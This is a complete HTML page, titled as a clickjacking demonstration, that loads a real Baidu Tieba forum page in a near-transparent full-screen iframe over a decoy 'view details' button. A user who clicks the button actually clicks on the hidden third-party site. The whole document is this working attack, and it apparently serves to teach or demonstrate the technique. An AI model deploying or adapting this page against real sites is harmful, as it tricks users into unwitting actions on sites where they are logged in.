<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>clickjacking 点击劫持</title>
    <style>
        iframe{
            opacity:0.01;
            position:absolute;
            z-index:2;
            width: 100%;
            height: 100%;
        }
        button{
            position:absolute;
            top: 345px;
            left: 630px;
            z-index: 1;
            width: 72px;
            height: 26px;
        }
    </style>
</head>
<body>
    <button>查看详情</button>
    <iframe src="http://tieba.baidu.com/f?kw=%C3%C0%C5%AE"></iframe>
</body>
</html>